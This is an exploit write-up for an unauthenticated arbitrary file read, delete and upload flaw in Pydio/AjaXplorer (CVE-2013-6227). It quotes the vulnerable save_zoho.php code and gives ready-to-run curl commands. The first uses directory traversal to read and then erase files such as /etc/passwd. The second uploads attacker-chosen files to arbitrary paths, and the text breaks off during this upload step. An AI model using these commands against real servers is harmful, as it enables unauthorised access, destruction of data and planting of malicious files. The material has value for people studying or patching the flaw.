40d3df51a4
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# Exploit Title: Unauthenticated Arbitrary File Upload Vulnerability In Pydio/AjaXplorer 5.0.3 – 3.3.5
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# Date: 01/18/2019
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# Exploit Author: @_jazz______
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# Vendor Homepage: https://pydio.com/
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# Software Link: https://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/stable-channel/4.2.3/ajaxplorer-core-4.2.3.tar.gz/download
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# Version: ajaXplorer before 5.0.4
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# Tested on: ajaXplorer 4.2.3 on Debian 9 update 5
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# References: https://web.archive.org/web/20140430075145/http://www.redfsec.com/CVE-2013-6227
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# CVE: CVE-2013-6227
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###########################################################################################
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Affected file:
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/plugins/editor.zoho/agent/save_zoho.php
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<?php
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$vars = array_merge($_GET, $_POST);
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if(!isSet($vars["ajxp_action"]) && isset($vars["id"]) && isset($vars["format"])){
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$filezoho = $_FILES['content']["tmp_name"];
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$cleanId = str_replace(array("..", "/"), "", $vars["id"]);
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move_uploaded_file($filezoho, "files/".$cleanId.".".$vars["format"]);
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}else if($vars["ajxp_action"] == "get_file" && isSet($vars["name"])){
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if(file_exists("files/".$vars["name"])){
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readfile("files/".$vars["name"]);
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unlink("files/".$vars["name"]);
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}
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}
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?>
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Option 1: If "ajxp_action" is not set, upload "content" file to files/id.format.
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The code does not sanitize "format" parameter before passing it as an argument to "move_uploaded_file",
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thus introducing an opportunity to upload files to any arbitrary location via directory traversal
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Note: User should have permission to write on the desired location.
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Option 2: If "ajxp_action" is set to "get_file", read the file from "files/name" and then ERASE IT (unlink).
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Again, the code does not sanitize the "name" parameter, making it also vulnerable to directory traversal.
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"files" directory's location is by default /plugins/editor.zoho/agent/files
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A default location for reading/uploading files is /data/files/
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###########################################################################################
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[1] [CAUTION!] Read arbitrary files
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curl "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=<file_relative_path>"
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e.g. curl "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../../../../../etc/passwd"
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[USE WITH CAUTION] This is a destructive function. Files retrieved WILL be erased after reading, provided that the file is writable by the user which the web server's process is running as.
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[2] Arbitrary File Upload
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*step 1 - Upload the file to the server*
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# curl -F 'content=@<filename_from_attacker_host>;type=<filetype>;filename=\"<filename>\"' "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?id=&format=<upload_to_file_relative_path>"
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e.g. # curl -F 'content=@test.html;type=text/html;filename=\"test.html\"' "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?id=&format=./../../../data/files/test.html" |